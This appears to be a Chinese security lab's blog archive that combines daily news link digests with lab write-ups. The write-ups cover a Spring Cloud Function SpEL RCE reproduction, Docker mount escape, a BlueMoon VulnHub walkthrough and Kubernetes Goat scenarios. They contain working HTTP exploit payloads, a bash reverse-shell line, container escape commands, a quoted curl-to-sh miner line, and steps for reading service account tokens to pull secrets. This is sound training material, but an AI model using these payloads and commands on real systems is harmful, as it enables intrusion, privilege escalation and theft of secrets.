网络安全日报 2022年05月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、GitHub 宣布对代码贡献者强制执行 2FA
https://www.securityweek.com/github-announces-mandatory-2fa-code-contributors 2、Android 2022 年 5 月安全补丁更新修复 36 漏洞
https://www.securityweek.com/androids-may-2022-security-updates-patch-36-vulnerabilities 3、美国政府发布关于量子计算风险的安全备忘录
https://www.securityweek.com/us-gov-issues-security-memo-quantum-computing-risks 4、研究人员发现两个影响 Avast 和 AVG杀软并存在数十年之久的严重漏洞
https://securityaffairs.co/wordpress/130944/security/avast-avg-antivirus-flaws.html 5、超过 1800 万个 IP 易受网络中间件 TCP 反射攻击
https://cyware.com/news/over-18-million-ips-found-vulnerable-to-middlebox-tcp-reflection-attacks-af0bdb10 6、谷歌将向 Android 和 Chrome 添加无密码身份验证支持
https://thehackernews.com/2022/05/google-to-add-passwordless.html 7、英国国家医疗服务体系遭大规模网络钓鱼攻击
https://www.inky.com/en/blog/fresh-phish-britains-national-health-service-infected-by-massive-phishing-campaign 8、思科针对影响企业NFVIS软件的漏洞发布补丁
https://thehackernews.com/2022/05/cisco-issues-patches-for-3-new-flaws.html 9、研究人员发现苹果芯片中存在Augury漏洞
https://www.techspot.com/news/94452-augury-vulnerability-discovered-apple-silicon-mobile-chips.html 10、F5发布补丁修复了严重的远程代码执行漏洞
https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html
Spring Cloud Function SpEL表达式RCE漏洞复现分析
简介
Spring Cloud功能特点
影响版本
3.0.0.M3 <= Spring Cloud Function <=3.2.2
漏洞复现
环境搭建
选择版本为V3.1.6
根据Tags的更新时间选择,还是选择3.1.6比较稳妥,使用IDEA导入项目
jar包的下载确实很慢,真是麻了。实际上不用下载那么多jar包,确实用不到,导入项目于
\spring-cloud-function-3.1.6\spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo修改配置文件spring-cloud-function-3.1.6\spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo\src\main\resources\appliaction.properties添加
spring.cloud.function.definition:functionRouter
配置maven启动项目
http://127.0.0.1:8080
利用
构造payload
POST /Ggoodstudy HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 4
gdsf
这不就吐了么,修改配置文件才能RCE????
但是修改路由,当路由指定为functionRouter的时候,不修改配置文件已经可以执行恶意payload
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 14
dfdfijkghjkg
POST请求且必须传参。
反弹shell
bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1
进行base64编码,由于这里我使用的是windows环境,所以无法使用反弹shell,具体需要对反弹shell命令进行编码的原因在分析CVE-2018-1270的时候已经分析过了。
漏洞分析
首先我们需要了解到spring框架中比较常见的几个jar包
spring-beans
所有应用都要用到的,它包含访问配置文件、创建和管理bean 以及进行Inversion of Control / Dependency Injection(IoC/DI)操作相关的所有类。
spring-Expression
进行SpEL表达式解析
spring-core
Spring 框架基本的核心工具类。Spring 其它组件要都要使用到这个包里的类,是其它组件的基本核心
spring-jdbc
存放对jdbc数据库数据访问所有相关的类
spring-messaging
api以及协议接口
spring-context
为Spring核心提供了大量扩展。可以找到使用Spring ApplicationContext特性时所需的全部类等
spring-web
包含Web 应用开发时,用到Spring 框架时所需的核心类,包括自动载入Web Application Context 特性的类、Struts 与JSF 集成类、文件上传的支持类、Filter 类和大量工具辅助类。
pring-webmvc
包含Spring MVC 框架相关的所有类。包括框架的Servlets,Web MVC框架,控制器和视图支持。
向上查找利用链
SpEL表达式的内容是在spring-expression中处理的,在RoutingFunction类中调用
这里会取出spring.cloud.function.routing-expression:属性的spel表达式
这个方法属于布尔型的判断,这里的属性构造在请求头内,调用了apply方法
继续向上分析
到达SimpleFunctionRegistry.java类的698行,这个apply的方法的触发时
是在646行定义的,且调用方法doapply,而doapply也在apply方法中调用了,在往上查找就到了FunctionWebRequestProcessingHelper类的processRequest方法
继续向上查找,到了控制层了,到此为止我们的向上查找已经结束,利用链很强清晰,那么对不对呢,我们使用向下查找利用链来做验证,请看下文
向下查找利用链
控制层传入数据首先查找路由,在control层的定位在FunctionControl类中的74行
调用FunctionWebRequestProcessingHelper类中的http请求参数方法processRequest
可以看到processRequest方法会获取到我们构造payload的方法,在方法为RoutingFunction的情况下会直接调用RoutingFunction类中的applay方法
此时我们可以看到这里调用了Route方法
而在该方法中会读取构造的请求头spring.cloud.function.routing-expression属性的值,调用了方法functionFormExpression,但是在该方法中的parseExpression方法会对SpEL表达式进行解析
那么我们在调试的过程中
getValue方法执行的又是什么呢?
这里自然是执行的传入的paylaod的内容以及执行解析后的表达式
到这里我们能够发现两条链刚好是对称的,说明分析没有问题。
总结
分析了spring-cloud-function可以发现,spring框架的几个由SpEL表达式注入造成的RCE的触发点基本上都很相似,触发类以及触发路由分析对于漏洞挖掘来说都有可以借鉴的地方。
网络安全日报 2022年05月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、F5 向 BIG-IP 客户通报 18 个严重漏洞
https://www.securityweek.com/f5-informs-big-ip-customers-about-18-serious-vulnerabilities 2、专家将多个勒索软件与朝鲜APT38 组织关联
https://securityaffairs.co/wordpress/130892/apt/ransomware-strains-linked-to-nk-apt38.html 3、研究人员发现可以通过 DLL 劫持阻止Conti等流行的勒索软件
https://securityaffairs.co/wordpress/130883/malware/stoppin-ransomware-with-dll-hijacking.html 4、uClibc 库的DNS组件存在漏洞影响数百万物联网产品
https://securityaffairs.co/wordpress/130865/security/dns-vulnerability.html 5、dotCMS 内容管理软件披露严重 RCE 漏洞
https://thehackernews.com/2022/05/critical-rce-bug-reported-in-dotcms.html 6、严重的 TLStorm 2.0 漏洞影响Aruba 和 Avaya 网络交换机
https://thehackernews.com/2022/05/critical-tlstorm-20-bugs-affect-widely.html 7、破解网站上的虚假Windows 10更新被用于分发Magniber勒索软件
https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/ 8、西班牙首相和国防部长的手机感染Pegasus
https://therecord.media/spyware-attack-targeted-spanish-prime-ministers-phone/ 9、汽车租赁公司Sixt遭到网络攻击业务暂时中断
https://securityaffairs.co/wordpress/130820/security/sixt-suffered-cyber-attack.html 10、美国能源供应商Riviera Utilities泄露客户个人信息
https://portswigger.net/daily-swig/data-breach-at-us-energy-supplier-riviera-utilities-exposes-customer-information
网络安全日报 2022年04月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、思科修补了安全产品中的 11 个高危漏洞
https://www.securityweek.com/cisco-patches-11-high-severity-vulnerabilities-security-products 2、Wiz发现Azure PostgreSQL中跨账户数据库漏洞-ExtraReplica
https://www.wiz.io/blog/wiz-research-discovers-extrareplica-cross-account-database-vulnerability-in-azure-postgresql/ 3、CloudFlare 阻止了创纪录的 HTTPs DDoS 攻击,峰值为 1530 万RPS
https://securityaffairs.co/wordpress/130685/hacking/cloudflare-record-https-ddos.html 4、多个网络犯罪组织使用新的恶意软件加载器:Bumblebee
https://securityaffairs.co/wordpress/130699/cyber-crime/new-bumblebee-loader.html 5、Twitter 的新东家 Elon Musk 希望私聊能像 Signal 一样端到端加密
https://thehackernews.com/2022/04/twitters-new-owner-elon-musk-wants-dms.html 6、美国牙科支持服务提供商Smile Brands披露了数据泄露
https://www.infosecurity-magazine.com/news/smile-brands-breach-impacts-25m/ 7、谷歌4月27日起强制实施安卓APP隐私保护新政
https://thehackernews.com/2022/04/googles-new-safety-section-shows-what.html 8、纽约参议员提出新法案,将加密货币相关犯罪加入刑法
https://therecord.media/new-york-mulling-move-to-add-crypto-fraud-to-penal-code/ 9、欧洲漏洞赏金平台Intigriti推出按小时计费的漏洞众测新模式
https://www.secrss.com/articles/41852 10、Conti勒索软件仍然四处作案
https://securityaffairs.co/wordpress/130640/cyber-crime/conti-ransomware-operations-continues.html
网络安全日报 2022年04月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、谷歌发布Chrome 101 版本修复 30 个漏洞
https://www.securityweek.com/chrome-101-patches-30-vulnerabilities 2、微软披露了两个 Linux 权限提升漏洞,统称为 Nimbuspwn
https://securityaffairs.co/wordpress/130662/hacking/nimbuspwn-linux-flaws.html 3、数以百万计的 Java 应用程序仍容易受到 Log4Shell 的攻击
https://threatpost.com/java-apps-vulnerable-log4shell/179397/ 4、Group-IB研究发现公开暴露的数据库实例数量再创新高
https://www.bleepingcomputer.com/news/security/number-of-publicly-exposed-database-instances-hits-new-record/ 5、多国网络安全机构联合揭示了 2021 年最常被利用的漏洞
https://www.bleepingcomputer.com/news/security/cybersecurity-agencies-reveal-top-exploited-vulnerabilities-of-2021/ 6、美国牙科协会遭受新的Black Basta勒索软件的攻击
https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/ 7、NPM漏洞允许攻击者将恶意软件作为合法软件包分发
https://thehackernews.com/2022/04/npm-bug-allowed-attackers-to-distribute.html 8、研究人员发现北美许多牵引车的制动控制器易受黑客攻击
https://www.securityweek.com/tractor-trailer-brake-controllers-vulnerable-remote-hacker-attacks 9、CISA在漏洞利用列表中增加了7个新漏洞
https://www.bleepingcomputer.com/news/security/cisa-adds-7-vulnerabilities-to-list-of-bugs-exploited-in-attacks/ 10、希腊教育平台 UniverSIS 存在SQL注入可篡改学生成绩
https://portswigger.net/daily-swig/student-grades-stored-in-greek-education-platform-universis-could-be-manipulated-via-sqli
网络安全日报 2022年04月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、美国悬赏 1000 万美元获取有关 NotPetya 网络攻击的情报
https://www.securityweek.com/us-offers-10-million-reward-russian-intelligence-officers-behind-notpetya-cyberattacks 2、Rocket Kitten APT组织利用最近修补的VMware 漏洞
https://securityaffairs.co/wordpress/130630/apt/iran-apt-exploiting-vmware-rce.html 3、Stormous 勒索软件声称已入侵了饮料公司可口可乐公司
https://securityaffairs.co/wordpress/130614/cyber-crime/stormous-ransomware-hit-coca-cola.html 4、The Intercept 披露美国监控公司Anomaly Six可实时跟踪30亿台设备
https://theintercept.com/2022/04/22/anomaly-six-phone-tracking-zignal-surveillance-cia-nsa/ 5、IBM 数据库DB2更新解决了第三方 XML 解析器中的关键漏洞
https://portswigger.net/daily-swig/ibm-database-updates-address-critical-vulnerabilities-in-third-party-xml-parser 6、在微软禁用宏之后,Emotet利用OneDrive URL和XLL文件进行感染
https://www.proofpoint.com/us/blog/threat-insight/emotet-tests-new-delivery-techniques 7、德国风力涡轮公司遭到"有针对性的专业网络攻击"
https://www.securityweek.com/german-wind-turbine-firm-discloses-targeted-professional-cyberattack 8、研究人员披露了Prynt Stealer信息窃取恶意软件
https://www.bleepingcomputer.com/news/security/new-powerful-prynt-stealer-malware-sells-for-just-100-per-month/ 9、研究人员展示机器学习模型可植入无法检测到的后门
https://arxiv.org/abs/2204.06974v1 10、十年增长三倍!安全漏洞数量创纪录增长
https://www.secrss.com/articles/41635
从Docker挂载逃逸原理复现分析到BlueMoon实战
Docker逃逸
什么是Docker
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。正因为docker属于沙箱机制,所以当获得docker容器的权限时与获得宿主机权限是两个概念。
Docker逃逸
配置不当引起的docker逃逸
docket remote api未授权访问导致逃逸
特权模式逃逸
挂载敏感目录
内核漏洞提权实现逃逸(针对Linux内核利于dirtycow、dirtypipe等)
Docker本身漏洞(CVE)
CVE-2019-5736
CVE-2019-14271
这里主要测试挂载卷造成的逃逸
挂载敏感目录逃逸之特权模式挂载逃逸
实验环境:ubuntu16.04 ,docker 版本 20.10
service docker status
docker的状态是开启的,未安装docker需要安装
特权模式下启动一个容器
docker run -it --privileged ff6f /bin/bash
查看docker容器磁盘文件
fdisk -l
正常环境安装的时候也都会创建磁盘文件,所以这些目录下会有很多文件
ls /dev
创建一个目录名为"test",名字任意创建
mkdir test
此时test目录下无任何文件,将/dev/sda1挂载在test目录下
mount /dev/sda1 /test
查询test目录
此时例如home等目录下是没有任何文件的
将amazing写入/test/home/1.txt
echo "amazing" >/test/home/1.txt
此时宿主机home,目录下是存在1.txt文件的
挂载敏感目录逃逸之docker.sock 挂载
Docker架构相当于C/S架构,docker.sock就是docker中套docker,docker的client和server的通信模式参考
https://www.jb51.net/article/99019.htm 因为确实找不到什么比较官方或者正式的介绍,华为云的介绍只是介绍了网络通信模式
socket的连接方式有三种
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
利用docker.sock逃逸的前提条件
攻击者获得了 docker 容器的访问权限
容器已安装/var/run/docker.sock
使用挂载实现docker.sock,拉取一个镜像ubuntu16.04
docker pull ubuntu:16.04
查看镜像
docker images
运行一个挂载/var/run/的容器
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
进入docker容器内
apt-get install docker.io
这个时候安装可能报错
更新源
apt update
更新源之后重新安装docker,因为拉取的ubuntu内未安装docker或者可能是docker版本过老
apt-get install docker.io
查看宿主机信息
docker -H unix://var/run/docker.sock info
利用docker.sock再创建一个docker容器,挂载/var/run
docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash
此时查看test目录下可看到宿主机文件文件
实现逃逸。这里本来打算使用alpine镜像,这里说说什么是alpine镜像
alpine(https://www.alpinelinux.org/)是一个官方推荐的基础镜像,大小5MB,相对于ubuntu的大小来说下载方便,但是拉取ubuntu镜像也比较方便。
但是alpine在更新apk的时候,比较慢
所以还是建议使用ubuntu,这里可以利用docker逃逸去复制宿主机的source.list更换源,可能会快一点。
原理
过程可分为两部分
文件写入
将数据写入文件,它可用于执行特权写入或在受限文件系统之外写入文件,通过将文件复制到临时容器并返回到主机上的目标位置来写入文件。
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write
文件读取
它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件,通过将文件复制到临时容器并返回到主机上的新位置来读取文件。
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF
二进制文件设置了 SUID 位,会被滥用来访问文件系统、升级或维护特权访问作为 SUID 后门,上面那个复现过程实现了创建二进制文件的本地 SUID 副本并运行它以维护提升的权限,要与现有的 SUID 二进制文件交互,请跳过第一个命令并使用其原始路径运行程序,其最终结果是在容器B中实现了对宿主机权限的控制。
BlueMoon简介
Name: BlueMoon: 2021
Date release: 7 Apr 2021
Author: Kirthik
Series: BlueMoon
环境搭建
攻击机kali
IP 192.168.158.39
目标靶机Debian,ip地址未知,dhcp自动获取
下载地址
https://download.vulnhub.com/bluemoon/bluemoon.ova 导入虚拟机,官网描述是使用vb,但是vmware可以导入,然而出现问题获取不到网卡
信息搜集
netdiscover -n 192.168.248.39/24
我使用搞得热点比较容易确定目标靶机,扫描端口
nmap -A -p- 192.168.158.250
开放三个端口21,22以及80
扫描目录,指纹识别,既然是靶场要考虑到21端口是不是匿名用户或者22和21端口是否能爆破,直接对21和22端口爆破并未有结果,也可能是字典的问题,但是换了几个字典确实没用,扫描目录使用dirsearch扫描目录,内置字典并不能扫描出结果,换字典
python3 dirsearch.py -u "http://192.168.158.250" -e *
访问是个二维码,扫描的内容
#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF
获取flag
ftp的账号密码
userftp/ftpp@ssword
工具连接或者命令行都可
在information.txt中告诉了,p_list.txt为密码字典,用户名为robin,
上级目录中有jerry中有个用户名的txt,但是无法查看文件,使用robin用户爆破
账号密码
robin/k4rv3ndh4nh4ck3r
ssh登录
ssh robin@192.168.158.250
ls
cat user1.txt
使用命令
sudo -l
告诉了jerry权限可以执行/home/robin/project/feedback.sh
横向提权
sudo -u jerry /home/robin/project/feedback.sh
jerry
/bin/sh
当前用户为jerry,这个时候我们就可以读取前面不能读取的user2.txt,因为这个时候在home/robin,所以切换用户目录读取或者直接读取文件
垂直提权
给出提示使用find继续提权到root,所以这里应该的考点就是suid提权了,因为不是交互式的shell使用起来不方便,所以使用python获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
查询是否有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
find /usr/bin/passwd -exec "/bin/sh" \;
无果,,,,纳闷儿了
docker images
docker ps
镜像没起起来,搜索一下才知道这里需要使用镜像挂载来进行提权
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
此时已经为root权限,读取根目录下的root.txt
结语
这个靶机有点儿不怎么有好的地方在于对于字典的要求比较高,难点在于使用镜像挂载提权,这里可参考文章应该是讲镜像挂载原理比较清晰的文章吧。
网络安全日报 2022年04月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、BlackCat 勒索软件团伙在全球范围内入侵了 60 多个组织
https://securityaffairs.co/wordpress/130582/reports/fbi-blackcat-ransomware.html 2、研究人员披露了谷歌 VirusTotal 平台中的高危RCE 漏洞
https://thehackernews.com/2022/04/researchers-report-critical-rce.html 3、Everscale 钱包中的严重漏洞可能让攻击者窃取加密货币
https://thehackernews.com/2022/04/critical-bug-in-everscale-wallet.html 4、遭网络攻击后法国 GHT 医院集团被迫断开互联网连接
https://www.bleepingcomputer.com/news/security/french-hospital-group-disconnects-internet-after-hackers-steal-data/ 5、QNAP固件更新修复其 NAS 中的 Apache HTTP 漏洞
https://securityaffairs.co/wordpress/130481/hacking/qnap-nas-firmware-fix-apache-http-flaws.html 6、研究人员分析了Quantum勒索软件攻击的技术细节
https://www.bleepingcomputer.com/news/security/quantum-ransomware-seen-deployed-in-rapid-network-attacks/ 7、伊朗称挫败了针对其公共服务的大规模网络攻击
https://www.securityweek.com/state-tv-says-iran-foiled-cyberattacks-public-services 8、黑客将“More_Eggs”恶意软件植入招聘简历中
https://thehackernews.com/2022/04/hackers-sneak-moreeggs-malware-into.html 9、APT37使用新的恶意软件GOLDBACKDOOR针对记者
https://www.bleepingcomputer.com/news/security/north-korean-hackers-targeting-journalists-with-novel-malware/ 10、调查发现41% 的企业在过去一年中发生过 API 安全事件
https://www.helpnetsecurity.com/2022/04/25/apis-security-challenges/
通过Kuberneters Goat学习K8S安全(下)
实验环境:https://katacoda.com/madhuakula/scenarios/kubernetes-goat
0x9 Helm v2 tiller 风险(已弃用)
此方案已被弃用,供学习参考,环境默认是 Helm v3版本,可以安装Helm v2版本来实验
Helm是Kubernetes的包管理器。这就像ubuntu的apt-get。在此场景中,利用较旧版本的HELM(版本2),tiller 服务 RBAC 默认设置获取集群的访问权限。
helm init --service-account=tiller --tiller-image=gcr.io/kubernetes-helm/tiller:v2.14.1 --history-max 300
运行以下命令开启场景:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
默认情况配置下,Helm v2 Ttiller部署具有完全群集管理员权限的RBAC。
默认安装在 kube-system 命名空间中,服务名称为tiller-deploy,端口 44134 暴露在 0.0.0.0。所以我们可以通过运行 telnet 命令来验证。
telnet tiller-deploy.kube-system 44134
现在,我们可以连接到tiller服务端口了。我们可以使用 helm 来执行操作并与 tiller 服务通信。
让我们试试是否可以从Kube-System命名空间获取集群中的Kubernetes secrets
发现没有权限访问。
然后可以创建自己的 helm chart来授予默认服务帐户完全集群管理员访问权限,因为默认情况下,当前 pod 部署在具有默认service account的默认命名空间中。
helm --host tiller-deploy.kube-system:44134 install --name pwnchart /pwnchart
现在 pwnchart 已部署,它已授予所有默认服务帐户集群管理员访问权限。因此,让我们再次尝试获取 kube-system namespace secrets
此场景会改变Tiller部署的执行方式,有时管理员会使用特定权限将Tiller部署到特定的名称空间。同样在Helm v3中,也没有tiller服务来缓解此类漏洞。
参考资料:
https://engineering.bitnami.com/articles/helm-security.html
0x10 分析被部署挖矿软件的容器镜像
针对基础设施的挖矿攻击越来越流行。尤其是像 Kubernetes 这样的环境很容易成为目标,因为你甚至看不到容器镜像到底是基于什么构建的,以及它在主动监控方面做了什么。在此场景中,我们将分析和识别被植入挖矿软件的容器镜像。
首先,确定 Kubernetes 集群中的所有资源/镜像和包括作业。
controlplane $ kubectl get jobs
NAME COMPLETIONS DURATION AGE
batch-check-job 1/1 6m32s 32m
hidden-in-layers 0/1
标识Kubernetes群集内的所有资源。尽可能详细了解集群内所有节点中可用的每个容器镜像的详细信息。
一旦我们确定了在Kubernetes集群中运行的作业,就可以通过运行以下命令来获取Pod信息。
kubectl describe job batch-check-job
获取pods信息:
kubectl get pods --namespace default -l "job-name=batch-check-job"
获取pod信息manifest并分析:
kubectl get pod batch-check-job-xxxx -o yaml
可以看到Docker镜像名称是madhuakula/k8s-goat-batch-check
然后通过docker history查看镜像的构建历史记录:
docker history --no-trunc madhuakula/k8s-goat-batch-check
我们发现它在其中一层的构建中植入了恶意挖矿脚本
curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup
0x11 绕过Kubernetes命名空间
场景描述
默认情况下,Kubernetes 使用平行网络架构,这意味着集群中的任何 pod/service都可以与其他 pod/service 通信。默认情况下,集群内的命名空间没有任何网络安全限制。命名空间中的任何容器都可以与其他命名空间通信。我们听说 Kubernetes-Goat喜欢缓存。让我们看看我们是否可以访问其他命名空间。
首先运行以下命令,创建一个名为hacker-container的容器:
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
收集集群IP信息:
ip route
ip a show
printenv
基于对系统的分析/理解,尝试使用zmap扫描集群内的redis服务信息:
zmap -p 6379 10.0.0.0/8 -o results.csv
查看结果:
还有另一种方法可以访问 Kubernetes 中的服务/pod。例如使用 https://kubernetes.io/docs/concepts/services-networking/service/#dns cache-store-service.secure-middleware (servicename.namespace)。https://kubernetes.io/docs/concepts/services-networking/service/#dns
使用redis-cli进行连接
集群内还有许多其他的服务和资源,比如ElasticSearch,Mongo等等。所以,如果你的侦察技术很好,那么你可以在这里找到很多有价值的东西。
0x12 获取环境信息
场景描述
Kubernetes 中的每个环境都会有很多信息要共享。包括Secrets、API Keys、配置、服务等等关键内容。所以让我们继续收集关键信息!
访问http://127.0.0.1:1233
收集系统关键信息
id
cat /proc/self/cgroup
cat /etc/hosts
mount
ls -la /home/
获取环境变量,包括 Kubernetes Secret 的 K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3 和服务名称、端口等。
0x13 针对环境的DoS风险
场景描述
如果Kubernetes 资源清单中没有规范,也没有为容器应用限制范围。作为攻击者,我们可以消耗 pod/deployment 运行的所有资源,并饿死其他资源,从而对环境造成 DoS攻击。
本场景在http://127.0.0.1:1236中完成
此部署 pod 未在 Kubernetes 清单中设置任何资源限制。所以我们可以轻松执行一些列消耗资源的操作。
在这个 pod 中,安装了一个名为 stress-ng 的程序(压力测试工具)
执行之前查看资源情况:
kubectl --namespace big-monolith top pod hunger-check-deployment-5d94d56fdb-hc2bv
执行 stress-ng 的程序
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
再次查看资源情况:
此攻击在某些情况下可能不起作用,如自动扩展、资源限制等情况
0x14 hacker-container 简介
场景描述
这个场景只是对Kubernetes集群环境中的常见安全实用程序的探索。在之前你可能已经多次使用过hacker-container了。
运行:
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
Hacker Container是一个实用工具,其中包含黑客入侵Kubernetes集群时可能会用的工具/命令列表。因此,你可以使用它对 Kubernetes 环境进行自由探索。在这里,我们介绍一些强大的实用程序。
容器自检实用程序,用于获取系统功能的概述:
amicontained
针对内部服务执行 Nikto 扫描
nikto.pl -host http://metadata-db
还有许多其他程序。为了最大限度地利用hacker-container,我们可以使用主机特权、卷、进程等等。
0x15 Hidden in layers
场景描述
敏感信息泄露是普遍存在的最常见漏洞之一。在容器化世界中,密码、私钥、令牌等很容易被错误处理。此场景下,我们将分析和识别导致敏感信息泄露等此类处理不当的不良做法之一。
执行以下命令,开始本次场景:
kubectl get jobs
尝试浏览运行容器中的所有文件、环境变量等。接下来,尝试用不同的工具分析上面使用的镜像,以找到暴露的敏感信息。
获取详细信息:
使用docker cli分析镜像信息
docker inspect madhuakula/k8s-goat-hidden-in-layers
可以看到镜像设置了容器启动时要执行的一些命令。但获取的信息还太少,继续探索。
如果我们了解这个镜像是如何从头开始构建的,也许对我们会更有帮助。如果你有 dockerfile,可以直接分析镜像的 dockerfile。如果没有,可以通过其他几种方法分析。
方法一,查看构建历史
docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers
可以看到在构建镜像的时候,添加了一个secret.txt的文件,可能是密钥之类的敏感文件。
方法二,通过镜像反向生成dockerfile
可以通过alpine/dfimage 工具生成指定镜像的dockerfile
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers
方法三,使用Dive工具
Dive 是一个非常棒的工具,可以帮助分析镜像的每一层。https://github.com/wagoodman/dive
安装方式可以参考官方说明,使用方法如下
dive madhuakula/k8s-goat-hidden-in-layers
从以上分析中,我们可以看到/root/contributions.txt, /root/secret.txt这两个比较重要和可疑的文件。
接下来看看是否可以在运行的容器中找到这些文件。
可以看到只有contribution.txt,而secret.txt,在构建的时候被删除了。我们现在想办法恢复它。
首先使用docker save把镜像导出为文件。
docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar
解压出来:
tar -xvf hidden-in-layers.tar
我们可以看到每个层都被导出为一个单独的tar文件。这个镜像有3层,所以有3个tar文件。这里因为只有3层,所以很容易提取所有的层并检查内容,但如果镜像有上百层,这个方法就不太好用了。
根据之前dive的检查结果
在id为da73da4359e9edb793ee5472ae3538be8aec57c27efff7dae8873566c865533f的这一层,添加了secret.txt文件,所以我们解压这一层的tar进行文件分析
找到了关键信息。
参考:
深入了解docker层:https://jessicagreben.medium.com/digging-into-docker-layers-c22f948ed612
0x16 RBAC最低权限配置错误
场景描述
在现实世界中,们经常看到开发人员和 devops 团队往往会提供超出需求的额外权限。这种情况发生时,攻击者获得了比他们预期的更多的控制权和特权。在此场景中,你可以利用绑定到 pod 的 serviceaccount 提供的 webhookapikey 访问权限。但这也会让攻击者可以控制和获取敏感资源。获得对 vaultapikey 的访问权限。
首先访问http://127.0.0.1:1236
此部署具有映射了过度许可策略/访问权限的自定义服务帐户。作为攻击者,我们可以利用这一点来访问其他资源和服务。
由于Kubernetes默认情况下将所有secrets、tokens和service accounts信息都存储在一个固定的目录。
直接访问这个目录,查找敏感的信息:
cd /var/run/secrets/kubernetes.io/serviceaccount/
ls -la
现在我们可以使用这些信息与 Kubernetes API 服务进行交互,该服务具有对令牌的可用权限和特权。
指向内部 API 服务器主机名:
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
读取 pods namespace 并将其设置为变量。namespace应该是 big-monolith,如果它是default,你需要将 Kubernetes-goat 更新到最新版本(https://github.com/madhuakula/kubernetes-goat/commit/d068966ae481df55caed818c7cfc14867c1e42a1)
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
指定读取ServiceAccount持有者令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
指定在cURL请求查询时要使用的证书路径
export CACERT=${SERVICEACCOUNT}/ca.crt
然后就可以使用令牌和构造的查询来访问 Kubernetes API了
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
查询default命名空间中的secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets
查询特定命名空间的secrets
